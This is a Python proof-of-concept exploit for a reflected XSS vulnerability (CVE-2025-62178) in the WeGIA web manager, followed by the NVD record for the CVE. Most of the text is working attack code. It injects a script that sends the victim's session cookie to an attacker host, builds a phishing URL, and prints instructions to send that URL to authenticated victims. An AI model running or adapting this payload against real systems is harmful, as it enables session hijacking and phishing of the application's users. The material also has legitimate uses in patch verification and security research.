CVE-2025-62178

# CVE-2025-62178 - WeGIA Reflected XSS PoC # Vulnerability: Reflected XSS in idatendido parameter # Affected endpoint: /html/atendido/cadastro_atendido_parentesco_pessoa_nova.php # Affected versions: < 3.5.1 import requests TARGET_URL = "http://target-wegia-server" # Attacker needs to be authenticated (PR:H requirement) SESSION_COOKIES = { "PHPSESSID": "authenticated_session_cookie_here" } def exploit_xss(target_url, session_cookies): """ Exploit reflected XSS via idatendido parameter. The malicious script will execute in the victim's browser context. """ endpoint = "/html/atendido/cadastro_atendido_parentesco_pessoa_nova.php" # Malicious payload - steal session cookie and exfiltrate to attacker server payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' params = { "idatendido": payload } # Send the crafted request response = requests.get( target_url + endpoint, params=params, cookies=session_cookies ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Payload injected in idatendido parameter") # Verify the payload is reflected in the response if payload in response.text or "attacker.com" in response.text: print("[+] XSS payload successfully reflected in response!") print("[+] When victim clicks the crafted link, the script will execute.") else: print("[-] Payload may have been sanitized or filtered.") return response # Crafted malicious URL to be sent to the victim def craft_malicious_url(target_url, payload): """Generate a malicious URL that can be sent to victims via phishing.""" import urllib.parse endpoint = "/html/atendido/cadastro_atendido_parentesco_pessoa_nova.php" encoded_payload = urllib.parse.quote(payload) malicious_url = f"{target_url}{endpoint}?idatendido={encoded_payload}" return malicious_url if __name__ == "__main__": payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Generate phishing URL url = craft_malicious_url(TARGET_URL, payload) print(f"[*] Malicious URL: {url}") print(f"[*] Send this URL to an authenticated victim via email/chat") # Execute exploit exploit_xss(TARGET_URL, SESSION_COOKIES)

{"cve": {"id": "CVE-2025-62178", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:32.560", "lastModified": "2025-10-20T16:06:38.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Prior to 3.5.1, a Reflected Cross-Site Scripting (XSS) vulnerability was identified in the /html/atendido/cadastro_atendido_parentesco_pessoa_nova.php endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts in the idatendido parameter. This vulnerability is fixed in 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.1", "matchCriteriaId": "0380F435-A37D-48F3-87E5-A2648574EDC0"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/e39390f2c0172e8a127b9437e15e71ac4a0e77cf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/issues/1181", "source": "[email protected]", "tags": ["Issue Tracking", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-fj32-779r-28qv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}